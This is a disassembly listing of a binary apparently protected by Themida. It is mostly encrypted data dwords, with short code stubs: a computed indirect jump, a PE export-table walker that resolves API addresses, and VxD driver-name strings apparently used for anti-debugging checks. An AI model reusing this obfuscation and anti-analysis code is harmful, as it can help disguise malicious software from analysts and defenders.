2F0569FCh, 1977713Bh, 2528C016h, 388665CFh, 5FBDB78Dh dd 54481EC1h, 2791E7EAh, 0FE57FCB4h, 0F78A8575h, 9844B659h dd 41CEC554h, 3D370F79h, 0A1AC41DFh, 68067722h, 0A77011DCh dd 7DAD446h, 172F6C8Fh, 0E9F95C84h, 7D15636Fh, 0A105FCD2h dd 53DE489Eh, 811F897Dh, 30339D91h, 0CBC2807Ah, 0D5DDCF67h dd 2679758Fh, 165E9E43h, 14070000h, 261A0AA8h, 362E1EBCh dd 504636D4h, 675C4CEAh, 95F461FFh, 2CCA3227h, 43E1453Ch dd 5CFA5A53h, 7614726Ch, 7DA51677h, 8C75FE60h, 636A2779h dd 26C435E0h, 0E969FC58h, 201AF09Bh, 0F2A517C2h, 8705A9B2h dd 0A74AC832h, 68553735h, 62B31C86h, 0DD241950h, 0D04DB74Fh dd 0C19742D1h, 6EF963CDh, 0FE08C1FDh, 594E2475h, 5EA887F1h dd 303B3D02h, 0C8CB635Ah, 318F895Fh, 0C62754C7h, 865F75FEh dd 3D7BD2A6h, 4CC2DE33h, 68000000h, 31DC6F6Ah, 9E14E9BFh dd 7FE98CBCh, 574F83F4h, 105E6FE9h, 5790BC0Dh, 0EFC86FE9h dd 0CEE43B0Fh, 3D9D81Dh, 740AA0Ah, 1Fh, 90865CADh, 204DC02Ah dd 936FE907h, 0ED5E0998h, 69FB2100h, 4218C311h, 8EE4E74Bh dd 6A52A624h, 0C435E063h, 69FB0977h, 0BF7578C6h, 26C967C5h dd 0F4F75750h, 625C349Eh, 2E4C7F08h, 69DA73B8h dd 75FBB641h, 0B762FA48h, 0FBB61E46h, 47DF2D75h, 31998E44h dd 5A30D12Eh, 0F5960062h, 8E4C4615h, 9E3694h, 0B5B81610h dd 25D0535Ah, 69D1C69Ch, 33A61066h, 700DCA1Eh, 1303A1EFh dd 4FB8BB19h, 33B804DDh, 655D5A2Ah, 0B2080B6Dh, 618AD548h dd 44FB17E0h, 0F970E264h, 6FD4B058h, 211BF35Dh, 3B3525C3h dd 2E24DADDh, 0AF6EC5C8h, 0A80600CFh, 9C91670Ah, 0F8F2CA34h dd 313C979Ah, 0ED9607B2h, 50E231CFh, 0C7C0827Ah, 8665CF67h dd 7D80DED8h, 6A6DCFC7h, 46E47C14h, 0FBFE5C56h, 3FEA4E45h dd 0D107069h, 0D6A4DB7h, 0ADA77656h, 0D6CEA44Fh, 1F877C74h dd 0DE5CC61Ch, 9396F4EEh, 3AE3538h, 0D1D4342Dh, 1586117Bh dd 0E81FC2D4h, 1909A7F5h, 6DBEC11Fh, 0F81FBE41h, 8E10F0A9h dd 0BE6C9405h, 2573D81Fh, 8BE9E3BBh, 0A404FDEDh, 8EF6EBA1h dd 0AF190DE3h, 8D466245h, 61552BADh, 0BCB58DF7h, 0B728B15Ch dd 0D81FBE8Fh, 68E6509Eh, 741F7F78h, 0C132A59Eh, 0D81FBE99h dd 0B7BA52A0h, 0BEB5DD4Eh, 76C4D81Fh, 89F1E6DEh, 0E3C63086h dd 46B0A47Ah, 0A80E04DCh, 93F9EFA5h, 7DE5DA90h, 0C5A55E7Ah dd 2000B756h, 9F985851h, 4EE63C3Fh, 7C7C0B0h, 53A9AC10h dd 6E5DB8BBh, 6AB728D3h, 0BBD231C0h, 52A71971h, 89C74E9h dd 22BBA88Eh, 12BD554Eh, 0DEE1453Ch, 0D9D7A48Ch, 28C09993h dd 6BD53930h, 16883188h, 28A09DE9h, 4EEF5926h, 46A69F6Eh dd 60BEB8A8h, 4FADA75Dh, 9777304Ch, 0D270CEC8h, 427686DDh dd 20CD46h, 0F730000h, 58B3B616h, 9A23CE55h, 0FB0A4E28h dd 6FD9F1AEh, 0FB3BFFFCh, 22C00E69h, 2143h, 160FF100h dd 70A32A3h, 0C3116FE9h, 0DECD282Bh, 0D4BFA747h, 0F78F86E6h dd 5BDADB4Ch, 257369FBh, 0D35C3387h, 0E9073A62h, 81D7AC6Fh dd 9FF5C86h, 1852BC0Ah, 36CDC015h, 697D1A8Bh, 3E8C69FBh dd 71990A93h, 0E375FB19h, 491A5B65h, 0AFFDFCD5h, 77006B45h dd 0FB16DE06h, 359FED75h, 6C219AC2h, 291FF5A1h, 99E9E2C7h dd 0B048D71Bh, 3FC2C946h, 50082294h, 0DE0BA941h, 9B78E974h dd 0EA5C9CD6h, 8A03D3A0h, 821A216Fh, 0DA4167Fh, 80DED83Ch dd 6C93277Dh, 30AD1739h, 8AFBA63Dh, 5EAF2A09h, 0BE47F240h dd 8231CB4Ch, 0A50F4D62h, 0D775D3CDh, 5393EDE7h, 5880F11Ah dd 67628AE6h, 5E4E8519h, 396F61F9h, 0AE86D4F7h, 12CE26CBh dd 0A4970000h, 0B6AA9A38h, 0C6BEAE4Ch, 0E0D6C664h, 0F7ECDC7Ah dd 2584F18Fh, 0BC5AC2B7h, 0D371D5CCh, 0EC8AEAE3h, 6A402FCh dd 0D35A607h, 1C75FE64h, 4C74B709h, 0B56FE908h, 71D3CBB6h dd 0FC6D186Eh, 6FE908D4h, 4AF58DDBh, 0FB0BACD9h, 0C46FBD69h dd 0F795F5EEh, 25857E54h, 0CFD2362Dh, 3E370F79h, 39AA33DEh dd 75FB1511h, 7D60CA18h, 0E2483E14h, 48A6A078h, 6473D056h dd 3A88B73h, 1250h, 18B62215h, 2CCA3428h, 44E2443Ch, 5AF85E54h dd 6F0D756Ah, 4035A702h, 534A3AD8h, 686151EFh, 807A6A08h dd 24858422h, 0FE658BB3h, 2D7F9275h, 3A62D35Ch, 416FE907h dd 10C89F3h, 784ED782h, 671D207Eh, 8720A72h, 0FB0A6895h dd 802B7969h, 4B4EB4AAh, 77008BF5h, 4548A8A1h, 0ABD344EFh dd 0B275FB16h, 2E22FA64h, 423626C4h, 0F24EBBDCh, 0C45C2329h dd 0B3110BC1h, 0D53D3208h, 2F127CD2h, 6A3919D8h, 1C6E0C76h dd 2BBAB326h, 1B857931h, 0CC9AC718h, 18B775FBh, 0B756938h dd 0C4B5EE60h, 0B90590E4h, 0EDE1D14Fh, 0C2C52F23h, 0C884D86Ch dd 0F3364C1h, 350B7477h, 80D6D93Fh, 272A9488h, 0E3EA67D1h dd 562CB560h, 3DA19862h, 0E24CE43Ah, 0F40F16Fh, 23CE1C70h dd 4AF5534Dh, 83177F74h, 0CEF70F40h, 910F79B0h, 0C536A7A1h dd 6FF06C9Dh, 80A5317h, 54530222h, 106B6E06h, 52DB861Dh dd 0E33058C9h, 0F13F6FF0h, 33111487h, 0EE3C6A04h, 0B5736D43h dd 1575ABEh, 0E1DBCB69h, 26258083h, 0BE7FF09Bh, 0CF700DA2h dd 0E58D8F81h, 0D7BA7975h, 111B32h, 0EB574A00h, 0FF695D4Dh dd 17797161h, 2D938979h, 42AA9F8Fh, 6AD837A4h, 7F6F0D75h dd 96862488h, 0AF9F3D9Dh, 0BAB957B5h, 66C0E859h, 0BCCF75FEh dd 743746Ah, 58516FE9h, 0C6C55AF8h, 0C3BA903Bh, 0F96AF55Fh dd 69FC56EEh, 456DDE3Fh, 5475FE57h, 0EDC36E06h, 0A1F593F5h dd 9D86B30Ah, 17CFAD8h, 6AA00000h, 5C81DD6Ch, 0E907BEEBh dd 0F09B296Fh, 0BDC0221Ah, 5CC1FD67h, 0A206FDD3h, 0A3DF499Fh dd 6A2D6046h, 2D82DE6Dh, 0E2616AD1h, 8F865C86h, 0E70F802Bh dd 0F66FE907h, 48643EA8h, 2F8F865Ch, 5FDBF4ACh, 78700862h dd 0D5B21C82h, 0D51E2A8Eh, 4FB5h, 6D6A5B00h, 865C82DEh dd 0D42A2D8Dh, 8056DF6Ah, 0CF252886h, 7C5F265h, 86D46FE9h dd 90865C2Ah, 67D1272Ah, 170FA2DCh, 865C59B5h, 0D2282B8Fh dd 0C24BD668h, 0E9072951h, 78E2306Fh, 8E865C3Ch, 0DA72D4CCh dd 918981D7h, 3BFEC52Fh, 0AC000000h, 82DE6D6Ah, 0B26DEA5Ch dd 5D60BEB8h, 0FF47307h, 5B83F49Fh, 626FE9DAh, 961FAA14h dd 0FC66C8C0h, 0E9DA5C89h, 0E4D9C76Fh, 8B23797Ch, 5C225C2Fh dd 0C02A9086h, 328EF0E8h, 0C30A1955h, 98D51D86h, 7769E0Fh dd 37856CE9h, 2B94CDh, 6A3A0000h, 5C86E261h, 0E907BEEBh dd 2581CF6Fh, 3A62D35Ch, 416FE907h, 0C4FE89F3h, 55B11B0Fh dd 0FBF4CA55h, 20F5319Bh, 43h, 0E2616ACEh, 66A6137h, 0EB5C609Ch dd 6FE907BEh, 67F09B29h, 0E907CEF6h, 9293DD6Fh, 6CAAC91Ah dd 9FDB45DDh, 3A62D35Ch, 416FE907h, 9F379D93h, 5C70AA35h dd 0BF299186h, 2F29F3E7h, 0E078CED1h, 5C195584h, 3BF50AEAh dd 3FB0BB90h, 6FE96817h, 9540D826h, 0E968FC24h, 4BB5036Fh dd 0FFFE7B84h, 636A32FFh, 26C435E0h, 0E969FC58h, 201AF09Bh dd 908F24C2h, 0BDE55601h, 0CC75FE58h, 58D2FA6Bh, 8BD975FEh dd 0B187F0F3h, 9D5356BAh, 3FA941A7h, 0FE58A6CCh, 19F9D275h dd 32CFEE45h, 6635DEh, 74DB0000h, 6FE90748h, 0ADA6645Eh dd 49F44A4Dh, 0E907B0D8h, 0D971BF6Fh, 0D9CFA52Eh, 7B8E073h dd 66C76FE9h, 0E907CDF5h, 0F68EDC6Fh, 56830E8Ch, 0C96FE907h dd 23943FC2h, 69FB1262h, 0E9721D6Bh, 0FB1E5078h, 1A42B375h dd 2175FB1Eh, 8E86D4D3h, 0D92F3298h, 0DC4EF16Fh, 6D41720Ch dd 5DC5BAA7h, 0B8945BC5h, 42000000h, 35E0636Ah, 0FB36AFC4h dd 85307E69h, 6A3026FCh, 0D770F73h, 827C3C35h, 3778A011h dd 398775FBh, 0B0489EA1h, 0C9292212h, 0E1606BC6h, 0DDD7AD36h dd 29C12B1Fh, 87C64CBFh, 0FF49700Eh, 0D2C7197Ch, 7D11676Ah dd 49E1C0B6h, 6FCFC89Eh, 88E8E1D1h, 40232A85h, 0A24DE549h dd 0E84C4319h, 0B2258FE5h, 6A0365B9h, 668EFF60h, 7575FB5Ah dd 0EE48F27h, 7518B614h, 0DB45A79Fh, 0B9AB0903h, 73642E51h dd 1152F7DAh, 5400000Eh, 6757F561h, 7B6B0973h, 93832183h dd 0A999379Dh, 41AE4CB4h, 177F74E6h, 2E928979h, 47A7A090h dd 61BFB9A9h, 0F263C4C3h, 75FE69CAh, 0F6CBED1h, 830CB715h dd 0E907EA12h, 9FFFF86Fh, 0F947469Ch, 0FCF6AC8Fh, 0C67F9B9Eh dd 0BF1D17E6h, 84F57E21h, 6FE9075Ch, 5BBDB563h, 6A0258h dd 1D7ECC23h, 4813D8h, 6AB90000h, 0C435E063h, 69FB05E7h dd 58BEB48Ah, 0E0E40355h, 61E5593h, 0D725046Eh, 0C6241ED4h dd 0E03E3828h, 0D20274DDh, 0EAC68317h, 838A0771h, 0CFE45500h dd 5E700D72h, 0F9CF7210h, 489EA1FFh, 13042C9Dh, 0BD0B6FE9h dd 1B0F1753h, 2F2313B1h, 3E71C2C5h, 566FE907h, 0E052FD5Dh dd 44FBF74Eh, 785EFC3h, 3DE87B72h, 0FC5BB0CCh, 18155F69h dd 0A9034F3Bh, 1BF19C34h, 0CF23C123h, 9D86B30Ah, 12BFAD8h dd 6AA00000h, 5C81DD6Ch, 0B1D94AD3h, 0B86FE907h, 608D006Ah dd 0CB6FE907h, 0D35CE13Dh, 7B1D94Ah, 6AB86FE9h, 6046C400h dd 0DE6D6A2Dh, 1139AA33h, 186FE907h, 75DDD2CAh, 76B21C72h dd 616AD12Dh, 0F10D86E2h, 1D86C30Ah, 2DEAD5h, 6A900000h dd 23877E6Dh, 0EB5C2F8Bh, 6FE907BEh, 5C2581CFh, 0B5170F22h dd 5C195559h, 282B8F86h, 0C3E43ED2h, 882BC395h, 39571Eh dd 6A050000h, 5C82DE6Dh, 0E907BEEBh, 1788296Fh, 6FE907EFh dd 0BC18B0FEh, 0D35C225Ch, 0E9073A62h, 9C93416Fh, 47DF3538h dd 0AB0D05DDh, 38EA5C4Fh, 3D4E71C3h, 0A90701F9h, 0A71AD3Fh dd 0D51D86C3h, 3CEAh, 616A9000h, 0EB5C86E2h, 6FE907BEh dd 5C2581CFh, 417308EAh, 0B549031Eh, 4758A327h, 0FD88F23Bh dd 0B11B0FC3h, 0E1739406h, 7701DE2Ah, 4ADEA8A5h, 8FF9914Ch dd 20195553h, 2Fh, 0CF616ACEh, 0E907365Eh, 5FF7456Fh, 81E9DEB4h dd 0EB5CDB17h, 6FE907BEh, 31A29F29h, 0CA7C9DD9h, 0BBB18732h dd 5CAFEB55h, 0B11B0F22h, 20195555h, 0FFFFFECCh, 0E0636ACEh dd 0DDD6AC35h, 2A0137Dh, 0D69FC58h, 0A026A5Fh, 59AFB210h dd 464016C1h, 1EA74AE8h, 5DF04E48h, 75FE5835h, 0F8CF644h dd 65D68110h, 75FE583Dh, 4B202EA0h, 1F9A7459h, 8588D6B5h dd 0FE4E0E34h, 81613A75h, 32C656ADh, 159DDEh, 74430000h dd 6FE90748h, 7CDCD5ABh, 0E2403A12h, 0BB6544h, 6A130000h dd 0C435E063h, 69FB0ADBh, 93691462h, 0E1373A9Ah, 1D16EC77h dd 131139AAh, 6A1875FBh, 0B3090C76h, 0F5E5831Bh, 7FF19CFCh dd 3F426015h, 1D006A86h, 8D38CBC2h, 0D5352E04h, 0C0261CD2h dd 0B94BBE28h, 54700EBAh, 0FCD25B06h, 0E40C9F07h, 0EB6FF039h dd 0D2A8339Dh, 0EBDB79D9h, 268F92F2h, 0EFF25C50h, 0BBB22F99h dd 130C7D28h, 3A6A037Ch, 716B41ECh, 0C3211B13h, 0FEF8CE59h dd 181202A0h, 438C8BAh, 0FCDF7364h, 0B0B57h, 0FB675A00h dd 0F796D5Dh, 27898171h, 3DA39989h, 52BAAF9Fh, 7AE847B4h dd 8F7F1D85h, 0A6963498h, 0BFAF4DADh, 0CAC967C5h, 6CD0F869h dd 0CCDF75FEh, 0A4150F7Ah, 0E9070B33h, 2CC4126Fh, 1B797329h dd 6343FC18h, 9E3C9A94h, 1D7F52A9h, 3F99D8h, 7EF00000h dd 0FFF97640h, 0CE0A74CFh, 35E0636Ah, 0FB1C5FC4h, 8790269h dd 75FB24E0h, 5837A1EFh, 4B4EB4AAh, 0A45A5DF5h, 0BEAE4CAAh dd 86366C4h, 62D37E05h, 700D2779h, 3107B200h, 0EB69D33Dh dd 0B11B0F97h, 7578813h, 847D6FE9h, 0ABA37924h, 86F04649h dd 978F6508h, 789B122h, 42906FE9h, 668EFFAAh, 756FE907h dd 4D40BD27h, 779A0BB6h, 9669FC56h, 0CFC79D48h, 0A7BCF6Dh dd 0D89D86B3h, 12EFAh, 6C6AA000h, 865C81DDh, 0D2282B8Fh dd 3F6CDD68h, 0A86FE907h, 225CBE1Ah, 6A2D6046h, 2D82DE6Dh dd 0E2616AD1h, 0AF10D86h, 0D51D86C3h, 40EAh, 6D6A9000h dd 865C82DEh, 33BE2892h, 88B021AAh, 9E6FE907h, 0EA4043A7h dd 0F1198AEBh, 0F86FE907h, 35A812AAh, 6FE90708h, 1F47B819h dd 2E6FE907h, 5CEC48E0h, 0B5170F22h, 20195559h, 2Bh, 0DE6D6ACEh dd 0BEEB5C82h, 296FE907h, 211AF09Bh, 5C1B57C1h, 55170F22h dd 4B73E461h, 526FE907h, 0B3696C04h, 28C058BCh, 0A1955CCh dd 0D51D86C3h, 29EAh, 616A9000h, 0EB5C86E2h, 6FE907BEh dd 5C2581CFh, 0A107FDD3h, 1B0FFB37h, 0F4F75951h, 4BAFA69Eh dd 195557B3h, 5020h, 616ACE00h, 865C86E2h, 7CCA2E90h, 2675963h dd 0A711676Ah, 0C17EAB1Ch, 5BE96FE9h, 96C73EB0h, 7D84A876h dd 0CC222583h, 0F172A034h, 5A5727h, 225C5A96h, 6B11B0Fh dd 2F1A7A94h, 0E74C501Fh, 0E3829607h, 89C52FC7h, 0F4CA55h dd 0D33D9396h, 90865C97h, 0D9D1272Ah, 22787BE5h, 0FEC9F1B8h dd 6A9FFFFFh, 26888063h, 0D472E38Eh, 3B69FC57h, 726C42EDh dd 0E6E17614h, 0FD95FFF3h, 58B9E152h, 12C075FEh, 0C9BDB51Dh dd 6E065C5Fh, 0A1C93AC3h, 0A875FE58h, 0BC0DF05Ah, 75FE5896h dd 4245A9A0h, 2B2E988Ch, 0BF2E0EC7h, 5C3010E9h, 0DE32D005h dd 3F4Ch, 4874F200h, 0AB6FE907h, 789B122h, 42906FE9h, 480600D8h dd 0B452EA54h, 0EF178811h, 696FE907h, 3E562225h, 1E6C6B46h dd 0E2EDB4h, 0DA4C0000h, 8BFCF262h, 6FE92D63h, 0A2881C6Ah dd 2D69D3A4h, 4FDD35Ch, 0B84BA1A4h, 6FE90790h, 6AE7519Fh dd 0C435E063h, 69FB1BA3h, 9B711C6Ah, 0B4A442A2h, 0DAB05BBBh dd 341781E1h, 0CB3CD2D9h, 75FB24A3h, 19C45CAAh, 0E751AA8h dd 0FCA7F570h, 70683226h, 810C760Eh, 0B452B2ABh, 110BCBC4h dd 0C25AB0B3h, 0F51D8E17h, 46FF053h, 63C7BEB6h, 0B0BB16F9h dd 0DE76DAD1h, 95C9C233h, 32A46A03h, 52457914h, 140D0567h dd 1D6B4AB4h, 5078E972h, 0CA75FB89h, 0E7107859h, 459392B7h dd 8BF5534Dh, 0D2302A00h, 0EC4A4434h, 641804FAh, 7F240773h dd 7D8h, 902E9A8Dh, 0A442ACA0h, 0BC5ABCB4h, 0D270D6CCh dd 0E785EDE2h, 0B8AD1F7Ah, 0CBC2B250h, 0E0D9C967h, 0F8F2E280h dd 9CFDFC9Ah, 0FE6F032Bh, 0A5F70A75h, 6057150Fh, 0AB6164FCh dd 9A5053B1h, 843A3DA5h, 0CF26298Dh, 63C13010h, 91F1EAC0h dd 0D7A68627h, 0ECE17FDDh, 0D81D7A95h, 0D653188Ah, 7E5BCB0Ah dd 7ADB14h, 0A9320000h, 0E88D1038h, 0D9D11F6Fh, 0D6127CE4h dd 35E0636Ah, 0FB0463C4h, 9F75FE69h, 0EE4447A5h, 0FB0C335Bh dd 0F51D8E75h, 475FB0Ch, 0FF69B7B6h, 264EBF20h, 3575FB0Ch dd 8F26D8EBh, 932BE878h, 68FF8FBh, 0FB546D95h, 0C42E7C75h dd 0FB542551h, 0E5433B75h, 4C364E05h, 5E61F9ABh, 494CB2A8h dd 0E65535ECh, 53C44D10h, 75FB852Bh, 0D97AE432h, 0F8CE25F9h dd 5315DE2Fh, 0BB000000h, 2991865Ch, 0E966D026h, 43B45FE2h dd 69FB2432h, 0F4544DFBh, 39BF1h, 6EDF504Ah, 75FB2946h dd 0C46F0755h, 0C669AC52h, 0FBB42D55h, 5AEE3C75h, 7DE768BAh dd 57150FFFh, 6265FD5Fh, 0D27D0407h, 0AA6ED749h, 70383B1Dh dd 18729306h, 4D9B700Eh, 7CAD5BAFh, 1AC55C4Fh, 0FB2F0CA9h dd 0B5AFFD69h, 0B1749B62h, 7A0904B5h, 67815ECFh, 4290305Fh dd 5AE9E43Fh, 9EBD3EAFh, 17A02A71h, 4D617EA6h, 0D53F8D36h dd 27FDA8F6h, 4131CF2Dh, 0FDF7E947h, 0FAB31227h, 65E7217h dd 14070000h, 261A0AA8h, 362E1EBCh, 504636D4h, 675C4CEAh dd 95F461FFh, 2CCA3227h, 43E1453Ch, 5CFA5A53h, 7614726Ch dd 7DA51677h, 8C75FE70h, 150F2779h, 0C24BB4B7h, 0E9072951h dd 78E2306Fh, 0A846A8A0h, 33291813h, 198A35CDh, 69FC588Bh dd 98FEF4A2h, 4F47FD00h, 3167FBEDh, 11F47361h, 5FB6Ch dd 0B776A00h, 1F897D6Dh, 37999181h, 4DB3A999h, 62CABFAFh dd 8AF857C4h, 9F8F2D95h, 0B6A644A8h, 0CFBF5DBDh, 0DAD977D5h dd 71E00879h, 0DCEF75FEh, 62D35C8Ah, 6FE9073Ah, 0C89F341h dd 66D78201h, 69FC57D4h, 79E2E533h, 4649ABA3h, 0B6AE86F0h dd 30F66254h, 6E517361h, 59FC9h, 67D3C600h, 7BE5D9C9h dd 93F5EDDDh, 0A90F05F5h, 0BE261B0Bh, 0E654B320h, 0FBEB89F1h dd 1202A004h, 2B1BB919h, 3635D331h, 713C64D5h, 304375FEh dd 0E0636ADEh, 583EC435h, 7F5569FCh dd 352B2389h, 388665CFh, 5BC1B78Dh, 0CFA50EF1h, 0BE7477D5h dd 0D6366C4h, 3B330B75h, 316FE7D9h, 0E9CC7361h, 53B44h dd 0CB372A00h, 0DF493D2Dh, 0F7595141h, 0D736959h, 228A7F6Fh dd 4AB81784h, 5F4FED55h, 76660468h, 8F7F1D7Dh, 9A993795h dd 72A0C839h, 9CAF75FEh, 0B7150F4Ah, 0A604FEB4h, 0AF8F46A3h dd 0B33A42Dh, 196FE907h, 63B9BC24h, 0D4AC1664h, 5FD17CDAh dd 632F0778h, 2CAA1469h, 0E1E4423Ch, 0E9C36390h, 6CF57E6Fh dd 0E9C3D3FBh, 85EBE16Fh, 0DF2D2C82h, 218BF1E7h, 0D7D1A080h dd 0C638DB79h, 0DB9AE3E3h, 4C248E8Dh, 3BF1F452h, 0A245E341h dd 1812D4CCh, 0C91F22BAh, 58EBE25Fh, 767F3CADh, 408E69FBh dd 49C0EC3Dh, 35F875FBh, 104685Fh, 0C0A041ABh, 0AC72683Eh dd 0F54B4EB8h, 9A045A5Dh, 2FC066BDh, 36ADDEh, 6A530000h dd 0C435E063h, 69FB11C3h, 0A8F9FC4Ah, 75FB1E7Ch, 0DED49E92h dd 871F7578h, 15D5CE84h, 63B9BC1Ch, 8D06C8CBh, 8F683EADh dd 9184DBAFh, 0E6CBDE2Fh, 71000000h, 0CB7150Fh, 74DE3C36h dd 82E6DB91h, 0EEEAA8B3h, 938B8371h, 40D82E31h, 8FED43Dh dd 666038A2h, 139C0508h, 0E9B37AA2h, 0D9D3816Fh, 0A179E37Bh dd 6F954DA7h, 0C2163EAFh, 0D7256FE9h, 22827943h, 0F661EC8Ah dd 8E6FE969h, 28B3694h, 0E96A6991h, 0B822706Fh, 0F2504A3Ah dd 0A9994EFh, 8835EE5Fh, 0B66469FBh, 85A5DBDh, 0F489C52Ch dd 6F079F86h, 52313CD1h, 9FF5F85Ah, 61D35C07h, 0B58EEFDDh dd 376E093h, 700FFE6Dh, 0E1B762B0h, 43E684ECh, 404BF7D1h dd 0D943B512h, 0B2A40C01h, 7970119Ah, 9905AA8Dh, 0CC000003h dd 0DFCF6DD9h, 0F3E381EBh, 0BFB99FBh, 2111AF15h, 0B926C42Ch dd 8FF7EC5Eh, 0A60A01F1h, 0BF1F1808h, 0D9373121h, 6ADB3C3Bh dd 75FE7342h, 0FE43649h, 7114B21Ah, 0D53FA59Bh, 7A503FDh dd 80636AB3h, 0DF8A228Ch, 14878056h, 0E9077BA3h, 9C34826Fh dd 66D94399h, 69FB1165h, 25356A4h, 75FB1ED6h, 3D32F4ECh dd 843A3DD5h, 3C322A8Ch, 0FEB7D3D6h, 0D9AF1Eh, 91F54C20h dd 61EADE2Fh, 0FB12C8F0h, 8DBD4275h, 0B0C985ECh, 0C0F963B1h dd 0DAh, 0B7150F66h, 7A40360Ch, 0C41A1D85h, 69D3292Ch dd 73DBD086h, 3B41F70h, 0CEC86FE9h, 0E8E2D270h, 0AC1E878Ah dd 1E597524h, 62DF490Ch, 77D2DC6Bh, 98324F87h, 0E1373AA4h dd 9406B149h, 3E7C17CDh, 72FD6769h, 0C7EF60E9h, 0D66FE9B3h dd 0F2AB1E88h, 1B69FBD0h, 584C22CDh, 630684EEh, 954169DAh dd 0FA4875FBh, 89181390h, 8566CDEh, 28D5903h, 659C0D98h dd 68701059h, 0A4996F1Ah, 8184E2DCh, 0E70F802Bh, 0F66FEF07h dd 827210A8h, 733258Dh, 4797082h, 26E7C21h, 4F70000h, 160AFA98h dd 261E0EACh, 403626C4h, 574C3CDAh, 85E451EFh, 1CBA2217h dd 33D1352Ch, 4CEA4A43h, 6604625Ch, 6D950667h, 7C75FE74h dd 1A0F1769h, 783DC1B6h, 8E266073h, 0A80600F0h, 150FB60Ah dd 62FA6257h, 51AFA95Fh, 942F1EB3h, 41778E9h, 287669FBh dd 9C4ABC25h, 1513CDE2h, 0D89CC435h, 55A375FBh, 0B4E053BDh dd 0EC75FBD8h, 85F3313h, 4FDE3050h, 25h, 0E0636AF5h, 1203C435h dd 0BC0A69FBh, 1E3C68B9h, 9B7475FBh, 9190E7BBh, 20D7DE2Fh dd 2E000000h, 93FD6158h, 7477457h, 0B5B86FE9h, 1D14D6CEh dd 0C860B6B9h, 3148530h, 0A69FB2Ch, 6ACA1EBCh, 0C435E063h dd 69FB01F3h, 98E9EC3Ah, 75FB0E6Ch, 69EBCBA4h, 0B1110AE0h dd 9DC558AEh, 0AC75FB0Eh, 0E6C665Eh, 6E4BB50Bh, 0DE2F8617h dd 255Eh, 48740400h, 0B96FE907h, 0FB842FB2h, 7D90172h dd 92E06FE9h, 2BA4B528h, 248569FBh, 0FB348BB3h, 0AC449275h dd 636ABA0Eh, 0DD30B0E4h, 740CFD5Fh, 46B740C9h, 6FE9621Eh dd 275DF2Dh, 69FCB384h, 0BC923D8Bh, 0E3B964C2h, 0CA3428ECh dd 0EE168732h, 0FD75FE11h, 0D7C745AFh, 0FED47FDDh, 0F8209106h dd 775FE11h, 0D4B721B9h, 44EF7279h, 1160D0D3h, 842F7D70h dd 0AB56B4AEh, 797CDCD5h, 0D2322B23h, 910F79CFh, 0BE2018EEh dd 0A47169BBh, 33B61E2Ah, 5F59319Bh, 0BF95FE01h, 7BF862CAh dd 0D546F170h, 69FB8214h, 3BF5E735h, 0BC736407h, 0D234D9h dd 0A0930000h, 0B2A69634h, 0C2BAAA48h, 0DCD2C260h, 0F3E8D876h dd 2180ED8Bh, 0B856BEB3h, 0CF6DD1C8h, 0E886E6DFh, 2A0FEF8h dd 931A203h, 1075FE76h, 636AABFDh, 0CDC435E0h, 5069FC56h dd 0B24AA8A2h, 7B7046AFh, 0CFF76813h, 0DE75FE57h, 544E2690h dd 6E6858F6h, 978F6510h, 72DC3235h, 9FE23E8Fh, 0DA916257h dd 0D3312BFAh, 0ED4B4535h, 87F881EAh, 0A5A7205Fh, 0DEB6206Eh dd 7C186E8h, 6F56878h, 0A7376D95h, 962E7CA5h, 5145FBFEh dd 342EE4E7h, 0D9DAA0DAh, 45DDCEAAh, 4C2CEB42h, 0A58544DDh dd 91574D23h, 0E0363997h, 9A8F4548h, 41D92F32h, 0A705FFD7h dd 0EABA8AFCh, 569725EBh, 0F5CB6EECh, 552D9701h, 55FAFD5Bh dd 8, 340A9503h, 3672DC3Ah, 0ADB01C0Fh, 9C9FFDF7h, 8A8DEDE6h dd 7679DDD4h, 6063CBC0h, 4A4DB5AAh, 35389E94h, 2225877Fh dd 0B0E786Ch, 0E089504Dh, 405h, 4E88300h, 5C240487h, 68240489h dd 2BCDh, 53241489h, 0C381E389h, 4, 4EB81h, 1C870000h dd 1C895C24h, 0D8B85024h, 0BA26BD1Dh, 0DF583519h, 29C281h dd 0C20107F7h, 29EA81h, 545807F7h, 81241C8Bh, 4C4h, 0BA525200h dd 0E8145BDh, 4245401h, 8438F5Ah, 0BD086B81h, 0FF0E8145h dd 835B2434h, 34FF04C4h, 0C4815A24h, 4, 0FD0F04E9h, 0BF3E17FFh dd 0AE858BC6h, 3A5E444Ah db 0EAh, 2Ah, 0B4h ; --------------------------------------------------------------------------- loc_57DB1F: ; CODE XREF: Themida_:0057BC30j mov eax, 615707Bh add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 17280BE2h, 3AE7A43Bh, 5C40ADA7h, 181639F7h, 224BDC62h dd 36484659h, 5388226h, 0BE618F3h, 3487E0D2h, 0DE8h, 0C1E44500h dd 0EC4CD568h, 3ADDD55Bh, 81607FF7h, 938230D8h, 0F5E6108h dd 0C681DEB7h, 6070h, 58A0Fh, 2CBB0000h, 2B3E76D6h, 3C8BF5D2h dd 817CB316h, 3DF7F9F7h, 3890F73h, 66000000h, 0F781DE8Bh dd 761AF377h, 0FA07B966h, 99A7C781h, 0E08167A4h, 6635723Dh dd 0EE857h, 0D4F70000h, 328A9F2Dh, 0A30EAEC1h, 8ECAD25Bh dd 8F5BDA8Ah, 0BF0F1604h, 606056CEh, 0F3C1BB61h, 58616414h dd 6604EA83h, 81BE22BBh, 0FFA028FAh, 9B850FFFh, 60FFFFFFh dd 526AEB80h, 58F9BF0Fh, 83E961h, 51530000h, 8B575652h dd 661C245Ch, 5A4D3B81h, 68850Fh, 0B70F0000h, 0D8033C43h dd 503B8166h, 57850F45h, 8B000000h, 5C03785Bh, 738B1C24h dd 24740324h, 7B8B561Ch, 1C738B20h, 20247C03h, 20247403h dd 0FFC983FCh, 245C8B41h, 3178B1Ch, 83202454h, 28A04C7h dd 874C084h, 0E875033Ah, 0F2EB4243h, 0E075033Ah, 0FE1D15Fh dd 8B0F04B7h, 44038604h, 5E5F1C24h, 0C25B595Ah, 0C0330008h dd 0FFFFF1E9h, 0EBCA8BFFh, 53464934h, 2052474Dh, 444B5620h dd 20202020h, 4D4D5620h, 20202020h, 49575620h, 2032334Eh dd 44585620h, 2052444Ch, 20h, 2 dup(0) dd 7C6E900h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0E0E1B1C3h, 10E903h, 4FC60000h dd 51BDF6AAh, 0AFAAEEECh, 71D67B2Bh, 60FCD7CBh, 0E855006Ah dd 3, 5DC35D20h, 